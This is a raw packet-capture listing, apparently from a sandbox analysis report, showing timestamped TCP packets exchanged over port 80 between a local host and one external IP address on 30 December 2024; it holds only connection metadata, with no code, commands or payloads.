Dec 30, 2024 19:45:49.003961086 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.003973961 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.003993034 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.004004955 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.004010916 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.004015923 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.004054070 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.004125118 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.004143000 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.004153967 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.004164934 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.004175901 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.004180908 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.004199982 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.004275084 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.004283905 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.004316092 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.004334927 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.004345894 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.004363060 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.004379988 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.004384995 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.004390955 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.004415035 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.004424095 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.004442930 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.004453897 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.004466057 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.004482985 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.004493952 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.004517078 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.004517078 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.004888058 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.004900932 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.004911900 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.004935026 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.004956007 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.004966974 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.004986048 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.004997015 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.005007029 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.005017996 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.005028009 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.005028963 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.005044937 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.005044937 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.005059958 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.005069971 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.005070925 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.005080938 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.005110979 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.005134106 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.005347967 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.005358934 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.005368948 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.005374908 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.005409002 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.005433083 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.005451918 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.005464077 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.005477905 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.005502939 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.005533934 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.005544901 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.005563021 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.005573988 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.005587101 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.005614996 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.005705118 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.005713940 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.005726099 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.005738974 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.005748987 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.005759001 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.005759954 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.005784035 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.005846977 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.005858898 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.005870104 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.005889893 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.005903006 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.005922079 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.005933046 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.005943060 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.005954981 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.005986929 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.006006002 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.006288052 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.006298065 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.006304026 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.006321907 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.006331921 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.006335020 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.006364107 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.006501913 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.006510973 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.006541967 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.113748074 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.113763094 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.113769054 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.113779068 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.113790035 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.113799095 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.113811970 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.113820076 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.113827944 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.113833904 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.113843918 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.113856077 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.113874912 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.113897085 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.113902092 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.113913059 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.113924980 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.113944054 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.113990068 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.114031076 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.114067078 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.114119053 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.114135027 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.114159107 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.114202976 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.114212990 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.114224911 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.114238024 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.114245892 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.114250898 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.114260912 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.114274025 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.114299059 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.114423990 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.114434958 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.114444971 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.114474058 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.114484072 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.114664078 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.114675045 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.114691973 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.114701986 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.114713907 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.114716053 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.114731073 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.114743948 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.114746094 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.114757061 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.114770889 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.114778042 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.114782095 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.114799023 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.114810944 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.114820004 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.114823103 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.114841938 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.114850998 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.114870071 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.114893913 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.114937067 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.114947081 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.114980936 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.115077972 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.115087032 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.115120888 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.115294933 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.115307093 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.115324020 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.115348101 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.115356922 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.115369081 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.115386009 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.115396023 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.115400076 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.115410089 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.115425110 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.115453959 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.115489006 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.115529060 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.115539074 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.115556955 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.115569115 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.115571976 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.115601063 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.115601063 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.115612984 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.115637064 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.115643024 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.115678072 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.115680933 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.115688086 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.115699053 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.115710020 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.115730047 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.115751028 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.115767956 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.115777969 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.115792036 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.115818024 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.115915060 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.115926981 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.115937948 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.115961075 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.115986109 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.116065979 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.116075993 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.116086006 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.116096020 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.116112947 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.116137981 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.223716974 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.223798037 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.223809004 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.223819971 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.223829985 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.223846912 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.223851919 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.223858118 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.223870039 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.223901033 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.223907948 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.223918915 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.223921061 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.223929882 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.223952055 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.224145889 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.224158049 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.224175930 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.224185944 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.224189043 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.224191904 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.224204063 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.224225044 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.224247932 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.224359989 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.224370003 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.224380016 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.224390984 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.224401951 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.224402905 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.224417925 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.224428892 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.224430084 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.224443913 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.224452972 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.224453926 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.224467039 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.224493980 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.224509954 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.224522114 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.224551916 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.224587917 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.224641085 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.224685907 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.224706888 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.224718094 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.224735022 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.224746943 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.224751949 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.224757910 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.224770069 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.224801064 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.224818945 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.224848032 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.224858046 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.224868059 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.224879026 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.224895954 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.224905014 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.225037098 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.225047112 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.225085020 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.225106001 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.225116968 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.225126982 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.225145102 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.225152969 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.225157022 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.225193977 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.225286961 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.225297928 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.225308895 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.225327969 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.225356102 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.225538015 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.225557089 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.225568056 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.225579023 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.225601912 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.225611925 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.225613117 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.225625038 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.225639105 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.225651026 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.225661993 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.225672007 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.225682020 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.225692034 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.225709915 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.225734949 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.225831985 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.225841999 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.225878954 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.225925922 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.225936890 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.225946903 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.225959063 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.225970030 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.225975037 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.225980997 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.225995064 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.226006985 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.333926916 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.333944082 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.333961964 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.333972931 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.333983898 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.333993912 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.333998919 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.334006071 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.334023952 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.334036112 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.334038019 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.334041119 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.334047079 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.334054947 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.334062099 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.334073067 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.334083080 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.334091902 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.334098101 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.334122896 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.334137917 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.334166050 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.334176064 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.334186077 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.334197044 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.334220886 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.334233046 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.334240913 CET	50071	80	192.168.2.4	101.99.94.162
Dec 30, 2024 19:45:49.334245920 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.334256887 CET	80	50071	101.99.94.162	192.168.2.4
Dec 30, 2024 19:45:49.334275961 CET	50071	80	192.168.2.4	101.99.94.162
